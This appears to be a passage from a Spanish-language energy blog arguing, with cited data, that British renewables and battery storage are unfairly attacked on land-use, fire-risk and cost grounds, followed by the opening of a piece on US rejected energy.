ruido, y merece decirse claro. CPRE encontró que el 59 % de las mayores plantas solares de Inglaterra están sobre tierra agrícola productiva, y que el 31 % de esa superficie está clasificada como la mejor y más versátil.11 La calidad del suelo es un punto justo. La cantidad no lo es, y es el argumento de cantidad el que se está haciendo.\nY mira otra vez lo que hay de verdad en esos 6 GW. La solar son 786 MW. Las baterías son 5 076 MW, más de cuatro quintas partes de la potencia por la que se pelea.7 El argumento de la tierra apunta al número pequeño. El objetivo real es el almacenamiento, y el almacenamiento no cultiva nada.\nPoniendo a prueba el argumento del incendio Los proyectos de baterías se deniegan por riesgo de incendio. No solo donde gobierna Reform, siendo justos. Esto es oposición local amplia y no la campaña de un partido, y está funcionando. Más de 900 alegaciones a un proyecto cerca de Allerton Bywater, en Leeds. Un emplazamiento de cinturón verde cerca de Eaglesham tumbado por miedo a un incendio de litio tras 250 alegaciones. Un proyecto de 49,9 MW en Devon denegado en contra de la recomendación del propio técnico municipal.12\nAsí que pon los incendios al lado de las alegaciones.\nRecuento Incendios de baterías de red en el Reino Unido, en total 3 conocidos13 Corea del Sur, racha de 2017–2019 2814 Base mundial de incidentes del EPRI, desde 2011 ~95 entradas14 Alegaciones a un solo proyecto en Leeds 900+12 Una sola licencia en Leeds atrajo más alegaciones que incendios de baterías de red se han registrado en cualquier lugar del planeta desde 2011. Tres en este país, en toda su historia. Uno de ellos fue en una instalación todavía en construcción.13\nY 27 de los 30 incidentes mundiales de 2018 y 2019 fueron en Corea del Sur. Una sola racha nacional, lo bastante grave como para parar su mercado de almacenamiento, y la razón misma de que la base exista.14 Quítalos y el registro mundial queda todavía más fino.\nMientras tanto la tasa se ha desplomado. Los fallos por año se han mantenido más o menos planos mientras el despliegue pasaba de 11 GWh en 2018 a más de 300 GWh en 2024. Eso es una caída del 99 % en la tasa de fallo por unidad instalada, porque las normas se pusieron al día.14 En 2024, el 0,3 % de los proyectos tuvo un fallo que derivó en un incendio con problemas de seguridad.14 Repasé eso, y el incendio de Moss Landing que todo el mundo cita, en el artículo sobre la energía rechazada.\nY luego está el porqué fallan, que es la parte que debería cerrar la discusión.\nCausa raíz Parte de los fallos Integración, montaje y construcción 36 %15 Operación 29 % Diseño 21 % Defecto de fabricación 4 % El 89 % de los incidentes no empieza en la batería.15 Solo tres en toda la base se remontan a un defecto de celda o de módulo. Lo que sale mal de verdad es el resto del sistema: el cableado de continua y de alterna, la climatización, el propio equipo de extinción. Y el 72 % de los fallos ocurre durante la construcción, la puesta en marcha, o dentro de los dos primeros años.15\nAsí que no es la química. Es el montaje. Ensamblaje deficiente, esquinas cortadas en la instalación, puesta en marcha hecha con la supervisión todavía sin arrancar, de forma que una fuga o un fallo de aislamiento tiene tiempo de convertirse en algo que necesita un camión de bomberos antes de que haya sonado una sola alarma donde un ser humano pueda oírla. Mal trabajo, en otras palabras.\nEso importa porque cambia cuál es la respuesta. Si el litio fuera de por sí propenso a arder, tendrías razón en mantenerlo lejos del pueblo. No lo es. Esto es un problema de calidad de oficio y de inspección, que es justo el tipo de cosa que ya sabemos arreglar. Igual que cualquier otra instalación eléctrica: normas en condiciones, recepción en condiciones, alguien competente revisando el trabajo.\nLo que devuelve a las reglas urbanísticas, donde hay un hueco real que merece la pena tapar. Los ayuntamientos no tienen obligación legal de consultar a bomberos en un expediente de BESS, así que unos exigen un plan completo de gestión de incendios y otros tratan la seguridad como algo ajeno al urbanismo.12\nLa objeción es «estas cosas se incendian». Los datos dicen que las cosas mal instaladas se incendian. Una de las dos es un argumento para denegar la licencia. La otra es un argumento para inspeccionar la obra. Tapa el hueco y quitas el argumento. Déjalo abierto y sigue funcionando como tal.\nMerece decirse que nada de esto ha funcionado especialmente bien hasta ahora. Un año después, esos ayuntamientos han descubierto que bloquear solar grande es más fácil de decir en una nota de prensa que de hacer en una comisión de urbanismo, y varios proyectos salieron adelante igualmente.7\nSigue el dinero En cuanto a de dónde viene el guion, la financiación consta.\nGrupo Dinero recibido De Heartland Institute $676 000+ (1998–2007) ExxonMobil16 Heartland Institute otras cantidades no reveladas fundaciones ligadas a los Koch16 GWPF / Net Zero Watch $500 000+ un fondo ligado a los Koch17 GWPF / Net Zero Watch $210 525 Sarah Scaife Foundation, vía su brazo estadounidense17 Heartland es una organización estadounidense de negacionismo climático que abrió una sucursal británica, con Nigel Farage como invitado de honor en la inauguración.16 La Global Warming Policy Foundation hace campaña aquí como Net Zero Watch, una entidad benéfica registrada que canaliza sus campañas a través de una empresa privada.17\nDinero fósil estadounidense, argumentario estadounidense, un partido británico repitiéndolo sobre una tecnología en la que este país es demostrablemente bueno. Te dejo unir los puntos a ti.\nEl argumentario llega con un presidente pegado.\nLa afirmación Lo que dicen las pruebas El ruido de las turbinas provoca cáncer Completamente infundado. Ninguna prueba de que el sonido dañe la salud.18 La eólica marina mata ballenas La NOAA y el National Marine Fisheries Service no encuentran prueba científica alguna. Los varamientos son choques con barcos, artes de pesca y agua más caliente.18 Fabricarlas produce «tremendous fumes» Una turbina devuelve la energía usada en construirla en 5 a 8 meses. La eólica emite 37 veces menos CO₂ que el gas y 77 veces menos que el carbón.19 En la última merece la pena detenerse, porque se invierte limpiamente. La eólica tiene la menor huella de carbono de cualquier tecnología de generación que mide el Departamento de Energía estadounidense.19 Las medianas del IPCC ponen la eólica terrestre en 11 g/kWh y el carbón en 820. Eso lo expuse en el artículo sobre la energía rechazada. Lo que se acusa de generar contaminación es lo que menos genera.\nLa de los pájaros al menos parte de algo cierto, así que ponla al lado de las otras cosas que matan pájaros.\nCausa de muerte de aves en EE. UU. Al año Turbinas eólicas 140 000–330 00018 Edificios ~600 millones18 Gatos 2 000 millones+18 A las turbinas les corresponde algo así como un pájaro de cada seis mil. Nadie ha salido nunca en televisión por los gatos. Los gatos, por lo visto, están bien.\nY la línea del bienestar animal no vino de nadie que mire pájaros. La coordinó un laboratorio de ideas conservador financiado por una patronal respaldada por ExxonMobil, Chevron y Marathon Oil.18 El mismo dinero que en la tabla de arriba, otro reparto.\nQue es el tercer canal. Los laboratorios de ideas lo escriben, los periódicos lo imprimen, y se mueve en volumen por internet. Un estudio de la Universidad Brown encontró cuentas automatizadas responsables de cerca del 40 % de los tuits que llaman falsa a la ciencia del clima.20 No diría que sé quién las lleva, y ese estudio va del negacionismo climático en general y no de la solar británica en particular. Pero el patrón aguanta lo cojas por donde lo cojas: las afirmaciones son falsas, son viejas, y están pagadas.\nHablar el mismo idioma Aquí está la parte que creo que se pasa por alto. Pregúntate por qué Heartland abrió sucursal en Londres y no en Lyon o en Leipzig.\nPorque aquí funciona tal cual está escrito. Sin traducción, sin localización, sin adaptar el argumento a un país que mide en unidades métricas y calienta sus casas con una red de distrito. La nota de prensa aterriza en inglés y sale el mismo día.\nDetrás hay una estructura cartografiada, no solo un vocabulario compartido.\nEl puente Atlas Network, Washington DC apoya a 450+ organizaciones en 90+ países21 Financiada vía Donors Trust y la Charles Koch Foundation21 55 Tufton Street, Westminster GWPF, el IEA, TaxPayers\u0026rsquo; Alliance, Centre for Policy Studies, Adam Smith Institute, Civitas21 Conexiones EE. UU.–Reino Unido cartografiadas por DeSmog ~2 00021 Los negacionistas climáticos aparecieron en número en el congreso de Reform de septiembre de 2025.21 Nada de eso necesitó que se tradujera una sola palabra.\nY el tráfico va en los dos sentidos. Se ha documentado que canales británicos de Telegram de extrema derecha amplificaron desinformación sobre la integridad electoral estadounidense. La misma tubería, apuntada al otro lado.22 Los investigadores describen publicaciones en inglés que fijan relatos que luego recogen y repiten medios en otros idiomas, lo que nos pone los primeros de la cola en lugar de los últimos.22\nUn lector francés o alemán recibe un retraso y un traductor, y la traducción es un filtro. Alguien tiene que decidir que la afirmación merece llevarse, y comprobarla lo bastante como para poner su propio nombre. Nosotros la recibimos cruda, a la velocidad de un retuit, desde un mercado mediático cuarenta veces mayor que el nuestro y que ya consumimos como entretenimiento.\nEsa es la vulnerabilidad de verdad. No que los estadounidenses discutan sobre su propia red. Que hagan lo que quieran con ella. Es que nosotros oímos cada palabra de esa discusión, en nuestro propio idioma, sobre nuestra red, de gente que nunca la ha visto.\nCarbono barato, luz cara Una cosa no ha mejorado. La electricidad promedió £92,77/MWh en el último año frente a £70,13 en todo el conjunto de datos. Alrededor de un tercio más cara, mientras el carbono se reducía a la mitad.1\nHabrás leído que la culpa es de las renovables. Lo habrás leído mucho.\nPrensa nacional británica, 2025 Editoriales criticando las renovables 4223 Primer año en que los editoriales contrarios superan a los favorables desde 201423 Editoriales climáticos de derecha que rechazan la acción climática 81 %23 Editoriales críticos que abren por el coste 86 %23 Así que el argumento es el coste. Ni pájaros, ni paisaje, ni intermitencia. El coste, en siete de cada ocho.\nEl panel zanja ese, porque publica precio y mezcla juntos cada media hora. Aquí está el 20 de septiembre de 2026, de la hora de la merienda en adelante.1\nHora Precio Gas Cuota de gas Carbono Solar Viento 16:00 −£19,03 2,85 GW 11,3 % 71 g/kWh 6,33 11,30 16:30 £38,19 3,74 GW 15,1 % 88 g/kWh 5,19 10,84 17:00 £103,70 4,46 GW 18,3 % 109 g/kWh 4,06 10,21 17:30 £134,16 6,23 GW 25,6 % 133 g/kWh 2,64 9,68 18:00 £175,57 7,96 GW 32,2 % 150 g/kWh 1,53 8,96 19:30 £195,65 8,87 GW 39,9 % 162 g/kWh 0,02 6,99 Se puso el sol. El gas se triplicó, de 2,85 GW a 8,87. Y el precio pasó de menos diecinueve libras a casi doscientas en tres horas y media. Más £57 en la media hora hasta las cuatro y media, otras £65 a las cinco, otras £41 a las seis. La intensidad de carbono más que se duplicó mientras ocurría.\nCoge el día entero en vez del trozo interesante, y la relación aguanta en las cuarenta y ocho ventanas de liquidación.\n20 de septiembre de 2026, las 48 medias horas La cuota de gas fue de 7,4 % a 39,9 % El precio fue de −£19,03 a £195,65 Recorrido total £214,68/MWh Correlación, cuota de gas contra precio r = 0,933 Medias horas a precio negativo 18, de 01:00 a 16:00 Cero coma noventa y tres, en un solo día, con los contratos de gas fijos. Y durante nueve horas Gran Bretaña estuvo pagando a la gente por quitarle electricidad de las manos. El gas abajo en el 7,4 %, la solar acercándose a 10 GW, el precio por debajo de cero.\nLuego se puso el sol y costó £195,65. Los mismos cables. Los mismos parques eólicos. El mismo país.\nEl mecanismo es el precio marginal. El precio mayorista lo fija el coste de funcionamiento de la central más cara que hace falta en esa media hora, y esa es casi siempre de gas. Durante la crisis el gas fijó el precio el 98 % del tiempo mientras suministraba en torno al 40 % de la electricidad; en 2021, el 97 % del tiempo con el 37 % de la generación.24 La proporción más alta de cualquier país de Europa.\nParte de la generación Parte de la fijación de precio Gas 27,0 % el último año1 97–98 % de las ventanas24 Viento, solar, nuclear, hidráulica, biomasa 73,0 % el resto Sé honesto con una cosa de esos datos, ojo, porque alguien se va a dar cuenta. La media histórica es de £70,13/MWh con una mezcla más sucia que la de hoy, más barata que las £92,77 del último año. Eso no es el viento subiendo los precios. Eso son los años 2012 a 2020 de gas barato. Entre épocas manda el precio del gas; dentro de un solo día manda el tiempo. Los dos apuntan al mismo culpable.\nAsí que un cuarto de la mezcla pone el precio de toda ella. El viento podría ser gratis en el punto de generación, y buena parte lo es de hecho, y el número de tu factura no se movería, porque la última central de gas de la pila sigue fijando la tarifa.\nEso no son las renovables encareciendo la luz. Eso es un diseño de mercado de los años noventa chocando con una red que ya no se parece a la de los noventa.\nEl contrafáctico lo sella. Coge un pico del precio del gas, del tipo que ya hemos vivido, y modélalo contra dos redes distintas.24\nEl mismo pico de gas golpea una red con… Las facturas domésticas suben los objetivos renovables de 2030 cumplidos 8 % ninguna renovable respaldada por CfD 45 % El mismo pico. El mismo gas. La única diferencia es cuánta eólica y solar hay ahí sentada sin que le importe lo que cueste el gas. Más renovables, golpe más pequeño. Por un factor de cinco y medio.\nAsí que los parques eólicos son la razón de que la última crisis fuera sobrevivible, no la razón de que ocurriera. Tres pruebas separadas, una respuesta: dentro de un día el precio sigue al viento en sentido inverso, entre épocas sigue al precio del gas, y en los modelos son las renovables las que amortiguan el pico. El gas es la causa. No está reñido, y no es realmente discutible.\nLo que habría arreglado aquella tarde Ahora pon eso al lado de las dieciocho medias horas anteriores del mismo día en que el precio estuvo por debajo de cero. Esa es exactamente la forma de problema que resuelve una batería. Cárgala mientras la red paga a la gente por quitarle energía de las manos, devuélvela al pico de la tarde, y la última central de gas de la pila nunca llega a llamarse. El recorrido del 20 de septiembre fue de £214,68 el megavatio hora. Las baterías existen para comerse recorridos así.\nLo que nos devuelve a esos 5 076 MW de proyectos de baterías metidos en diez ayuntamientos, y al partido que prometió todas las palancas contra ellos. Bloquear el almacenamiento no solo aplaza algo de reducción de carbono. Protege el margen del gas, media hora a media hora, justo en las tardes en que el gas vale más.\nSi esa es la intención, sigue el dinero. El efecto lo es de todas formas, y la financiación detrás del argumento, según la tabla de más arriba, pertenece a la industria que se lleva la diferencia.\nLas tasas, y quién comprobó los números Y las tasas, ya que se citan como la prueba del delito:\nComponente de la factura, 2025 Importe Parte Costes de política en la electricidad £148,45 17 % de la factura eléctrica25 Costes de política en el gas £50,86 6 % de la factura de gas25 Diecisiete por ciento, y desde abril de 2026 el gobierno sacó el 75 % de la Renewables Obligation de las facturas y lo pasó a los impuestos generales, unas £92 al año de la rebaja media de £150.25 Dinero real, digno de discusión, y ni de lejos el asunto principal. El asunto principal es el 27 % de la generación que pone precio al otro 73 %.\nNo voy a decirte cuántos de esos 42 editoriales eran mentiras, porque probar la intención no es algo que pueda hacer desde un escritorio. Lo que sí puede mostrarse es la tasa de error, y es mala. Una reclamación contra un solo artículo del Daily Mail identificó quince errores factuales; el regulador exigió una corrección.26 The Mail on Sunday y The Times informaron ambos de que NESO había calculado que el coste del cero neto llegaría a 4,5 billones de libras en 2050. NESO no calculó nada parecido, y era la tercera vez que los periódicos tergiversaban a ese mismo organismo.26\nAntes de que alguien me saque el bajo número de reclamaciones estimadas: el comité de reclamaciones de IPSO no tiene ningún científico profesional, no consulta a expertos en asuntos técnicos, y trata de forma rutinaria un número equivocado como una opinión.26 Una reclamación estimada de quince errores mide al regulador, no al artículo.\nSaca tu propia conclusión. La mía es que el argumento más repetido contra las renovables en la prensa británica es el que se derrumba más rápido cuando lo pones al lado del propio contador de la red.\nY el precio del gas no lo ponemos nosotros Esto es lo que le pasó de verdad al gas, en la referencia europea TTF.27\nPrecio del gas TTF Media anterior a 2021 ~20 €/MWh Diciembre de 2021 180 € Marzo de 2022 220 € Pico de agosto de 2022 ~340 € Principios de 2026 35–45 € Mediados de septiembre de 2026 83,40 € Diecisiete veces la tarifa normal en el pico. Y mira esa última fila. El gas se fue a 83 € este mes por preocupaciones de suministro y almacenamiento, que es exactamente por lo que un domingo por la tarde sin viento en la red británica se pagó a £179,70/MWh. La cadena es corta: el mercado europeo de gas se mueve, el gas fija el precio británico, tu factura va detrás.\nFíjate también en que la «vuelta a la normalidad» no lo es. El suelo actual de 35–45 € sigue siendo el doble que antes de la crisis, y salta con un rumor.\nNinguna de esas decisiones se toma aquí, y nuestra exposición crece.28\nSuministro de gas del Reino Unido Parte del mar del Norte en la demanda, 2025 alrededor de la mitad Gas importado, 2025 464 TWh de ello por gasoducto noruego 69 % de las importaciones de ello GNL 31 % de las importaciones GNL como parte del suministro total ahora 14 % Parte del GNL para 2030 más del 25 % Parte del GNL para 2035 cerca del 50 % La producción del mar del Norte cae un 12–13 % al año y se proyecta un 78 % menos en 2035 respecto a 2025.28 El hueco lo llenan buques desde Catar y Estados Unidos, comprados en un mercado mundial al contado frente a compradores en Asia que pueden superarnos la puja cualquier mañana fría que les apetezca.\nAsí que el argumento de que deberíamos mantener la red con gas por el bien de las facturas lo tiene al revés. El gas es la parte que no controlamos, tarifada por sucesos en los que no influimos, desde yacimientos que se están agotando. El viento y el sol son la parte que pasa aquí por nada una vez montado el equipo.\nLo que cuesta y lo que te cobran Hay una diferencia entre lo que una cosa cuesta y lo que te cobran por ella, y todo este asunto vive en ese hueco.\nEl coste de hacer funcionar esta red ha bajado. La mitad del carbono, nada de carbón, un tercio de la generación viniendo ya de un tiempo meteorológico que llega gratis y no manda factura. Eso es el coste. El precio fue al revés, porque mantuvimos una regla de los años noventa que deja que la central más cara del sistema fije la tarifa de todo lo demás, y luego importamos el combustible de esa central de un mercado donde una ola de frío en Asia mueve lo que un jubilado de Barnsley paga por no pasar frío.\nNadie lo está escondiendo. Está escrito, en datos de liquidación cada media hora, gratis, en una web que mantiene una sola mujer.\nA lo que vuelvo una y otra vez es a quién se beneficia de la confusión. Porque la gente que te dice que esto lo hicieron los parques eólicos está, cuando sigues el dinero hacia atrás, financiada por lo que realmente lo hizo. Eso no es una casualidad y no es incompetencia. Es el truco más viejo que existe: enfada al público con la parte más barata del sistema para que nadie mire la más cara.\nY la parte que está bajo ataque es la única que es enteramente nuestra. Una turbina de gas necesita un buque desde Catar y un precio fijado en Róterdam. Un parque eólico frente al Humber necesita mantenimiento. Una cosa es soberanía y la otra es una domiciliación bancaria, y parece que estamos a punto de convencernos de renunciar a la primera para proteger la segunda.\nConstruimos la cosa. Funciona. Alguien debería decírselo a la gente.\nFuentes Kate Morley — National Grid: Live — la mezcla de generación, la intensidad de carbono, la demanda y el precio de Gran Bretaña, seleccionables sobre el último día, semana, año y todo el conjunto de datos desde 2012; también el cierre de la última central de carbón el 30 de septiembre de 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDrax — 2024, the year GB electricity demand turned a corner — dos décadas de demanda a la baja, la carga que añadieron los vehículos eléctricos y las bombas de calor, y el giro de 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEuropean Commission — Light sources, energy label and ecodesign — los reglamentos de ecodiseño de iluminación y los 81 TWh de electricidad que ahorraron en toda la UE en 2020.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Transport — Vehicle licensing statistics data tables, VEH0141 — vehículos enchufables matriculados al final de cada trimestre por carrocería y combustible. Las cifras de arriba son la columna de eléctricos de batería para Gran Bretaña en el cuarto trimestre de cada año.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNational Energy System Operator — Future Energy Scenarios — la adopción de vehículos eléctricos hasta 2050 en las distintas trayectorias, la capacidad de vehículo a red, y la revisión de la flexibilidad por recarga inteligente.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMCS — UK homes installing a small-scale renewable every 90 seconds — los totales de instalaciones certificadas, el hito de los dos millones y la potencia instalada, y la parte de sistemas solares nuevos acompañados de almacenamiento en batería.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Reform-led councils threaten 6GW of solar and battery schemes across England — la potencia situada en los diez ayuntamientos tomados en mayo de 2025, el compromiso de «every lever», las cartas enviadas a promotores y a consejeros delegados de empresas energéticas, y qué ha pasado realmente con los proyectos desde entonces.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Planning for solar farms — la solar en suelo cubría unas 21 200 hectáreas a finales de septiembre de 2024, en torno al 0,1 % de la superficie total del Reino Unido.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLancaster University — Researchers use satellite imagery to shed light on UK solar farm land use — la medición por satélite que sitúa el uso de suelo de las plantas solares entre 15 580 y 17 364 hectáreas, del 0,06 % al 0,07 % de la superficie del Reino Unido.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFriends of the Earth — Fact check: British farming and renewables — la superficie ocupada por campos de golf frente a la solar, y la parte de tierra agrícola que implica el objetivo de 70 GW para 2035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCPRE — Two-thirds of mega solar farms built on productive farmland — el 59 % de las mayores plantas solares en operación de Inglaterra sobre tierra agrícola productiva, y el 31 % de esa superficie clasificada como la mejor y más versátil.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — alegaciones y denegaciones urbanísticas incluidos los proyectos de Allerton Bywater, Eaglesham y Devon, la fuga térmica como mecanismo de incendio, y la ausencia de cualquier obligación legal de los ayuntamientos de consultar a los servicios de bomberos en un expediente de BESS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — incendios documentados de BESS de escala de red en el Reino Unido, incluidos Liverpool en septiembre de 2020 y una instalación de Essex en construcción en febrero de 2025, y la nota de que no existe un registro público fiable del número de incidentes.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEPRI — BESS Failure Incident Database — el registro mundial de fallos a escala de red desde 2011, la racha surcoreana de 2017–2019, la caída de la tasa de fallo por unidad instalada frente al crecimiento del despliegue, y la salvedad de que la base solo recoge incidentes de conocimiento público.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUtility Dive — Cells and modules not responsible for most battery energy storage system failures — el análisis de causa raíz del EPRI: integración, montaje y construcción en el 36 % de los fallos, operación 29 %, diseño 21 %, defectos de fabricación 4 %; el 89 % de los incidentes no se origina en la batería; y la concentración de fallos en la construcción, la puesta en marcha y los dos primeros años de operación.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLeft Foot Forward — What is the Heartland Institute? — la inauguración de la sucursal británica, la asistencia, y la financiación de Heartland por ExxonMobil y fundaciones ligadas a los Koch.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nopenDemocracy — Net Zero Watch: how dark oil money is funding influential UK climate sceptics — la financiación de GWPF y Net Zero Watch canalizada a través de American Friends of the GWPF, incluidos los pagos de la Sarah Scaife Foundation.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nClimate Power — Fact check: Trump\u0026rsquo;s wind turbine claims — las afirmaciones sobre el cáncer y las ballenas frente a la posición de la NOAA y el National Marine Fisheries Service, las estimaciones del US Fish and Wildlife Service sobre colisiones de aves con turbinas comparadas con edificios y gatos, y el origen del argumento del bienestar animal en trabajos de laboratorios de ideas financiados por los combustibles fósiles.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCNN — Fact check: five things Trump got wrong about wind turbines — la afirmación de los «tremendous fumes» y la huella de carbono frente a la posición del Departamento de Energía, los cinco a ocho meses de retorno energético de una turbina media, y las emisiones de la eólica comparadas con las del gas y el carbón.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInstitute at Brown for Environment and Society — Shadowy Twitter bots spread climate disinformation — la parte de los tuits que describen la ciencia del clima como falsa que se rastreó hasta cuentas automatizadas. Nota: es un estudio de 2021 sobre negacionismo climático en general, no sobre las renovables británicas en particular.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDeSmog — 55 Tufton Street y Mapped: how a US-UK network pushes climate science denial — el núcleo de Westminster y sus miembros, el alcance del Atlas Network y su financiación a través de Donors Trust y la Charles Koch Foundation, las aproximadamente dos mil conexiones transatlánticas cartografiadas, y la asistencia de grupos negacionistas al congreso de Reform de 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDFRLab — UK-based far-right Telegram channels amplified disinformation targeting US election integrity — la amplificación transatlántica documentada en ambos sentidos, y el papel de las publicaciones en inglés al fijar relatos repetidos después por medios que trabajan en otros idiomas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPress Gazette — Record opposition to climate action in UK national newspapers in 2025 — el recuento de editoriales que critican la energía renovable, el primer año desde 2014 en que superaron a los favorables, la parte de editoriales climáticos de derecha que rechazan la acción climática, y el coste como línea de ataque dominante.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Q\u0026amp;A: Why does gas set the price of electricity, and is there an alternative? — el precio marginal en Gran Bretaña, la parte de ventanas de liquidación en que el gas fija el precio frente a su parte de la generación, y el efecto modelado de un pico del precio del gas con y sin renovables respaldadas por CfD en el sistema.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — What costs make up an electricity bill? — los costes de política en las facturas de electricidad y gas en dinero y como proporción, la Renewables Obligation como mayor coste de política individual, y el traslado del 75 % de su coste a los impuestos generales desde abril de 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Commentary — Climate misinformation and press regulation — las quince inexactitudes identificadas en un solo artículo del Daily Mail frente a una corrección exigida, la tergiversación repetida de las conclusiones de NESO sobre el coste del cero neto, y la composición y el criterio del comité de reclamaciones de IPSO en asuntos técnicos.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTrading Economics — EU natural gas (TTF) price history — la referencia neerlandesa TTF desde la base anterior a 2021 pasando por el pico de 2021–22 hasta el máximo de agosto de 2022 y los niveles actuales, incluido el movimiento de septiembre de 2026 por preocupaciones de suministro y almacenamiento.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICIS — Ebbing North Sea gas production to raise UK gas prices and exposure to LNG imports — el mar del Norte cubriendo alrededor de la mitad de la demanda en 2025, el volumen y el reparto de las importaciones, el ritmo de declive de la plataforma británica, y la dependencia proyectada del GNL para 2030 y 2035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/energy/the-grid-we-did-fix/","summary":"Gran Bretaña ha reducido a la mitad la intensidad de carbono de su electricidad en catorce años, ha aguantado un año entero sin carbón y ha hecho del viento su mayor fuente. Mientras tanto la demanda cayó durante veinte años a la vez que el país enchufaba 1,8 millones de vehículos eléctricos. Esto es lo que dicen los números, incluidas las partes que estropean la historia.","title":"La red que sí arreglamos"},{"content":"El número que todos citan y nadie lee Lawrence Livermore sacó el otro día su diagrama de flujos de energía de 2024. Dice que Estados Unidos consumió 94,61 quads de energía y tiró 62,27 de ellos.1\nBien. Un quad son mil billones de British thermal units, es decir, 10¹⁵ BTU. No es dinero: en el original en inglés, quad suena como quid, la palabra británica para una libra, y en este artículo no hay dinero por ninguna parte. Los estadounidenses llevan su contabilidad energética nacional en quads y el resto de nosotros contamos en vatios hora, así que aquí va la conversión que le da sentido: un quad son unos 293 TWh, algo más de lo que entrega la red británica entera en un año.\nEnergía rechazada es el nombre educado de esos 62,27. La parte que no hizo ningún trabajo útil. Calor por una chimenea, calor de un radiador, calor por un tubo de escape. Casi todo es calor residual de quemar algo.\nY ahora cuidado con las unidades, porque yo lo tuve mal al principio y medio internet lo sigue teniendo mal. 62,27 son quads, no por ciento. Ponlos frente a los 32,34 quads que sí hicieron algo útil y la proporción sale 65,8 %. Dos tercios de todo lo perforado, extraído, entubado y transportado, ido como aire caliente.\n2024 En redes británicas Energía de entrada 94,61 quads 27 726 TWh 102 años de ella Rechazada 62,27 quads 18 249 TWh 67 años de ella Servicios energéticos 32,34 quads 9 477 TWh 35 años de ella Esa última columna es la que me caló. La red de Gran Bretaña entrega unos 271 TWh al año.2 Así que la energía rechazada de Estados Unidos solo en 2024 equivale a sesenta y siete años de la red británica completa, tirada como calor, en doce meses.\nDicho de otro modo: pon la electricidad de este país a funcionar desde hoy hasta 2093 y todavía no habrías generado lo que Estados Unidos desperdició el año pasado.\nEse número se cita en todas partes. Cómo cuenta el diagrama no se cita casi nunca. Esa es la parte interesante.\nUna nota de intendencia, siendo esto un texto sobre Estados Unidos escrito por un tipo de Yorkshire. El original usa palabras británicas donde Estados Unidos tiene otras: petrol por gasolina, forecourt por gasolinera, aircon por aire acondicionado. Y cuando digo nowt o summat, quiero decir nada y algo.\nLa eólica y la solar se cuentan al 100 % Aquí es donde la gente se pierde. Livermore sigue la convención de la Energy Information Administration, y bajo ella cuatro fuentes entran sin ninguna pérdida de 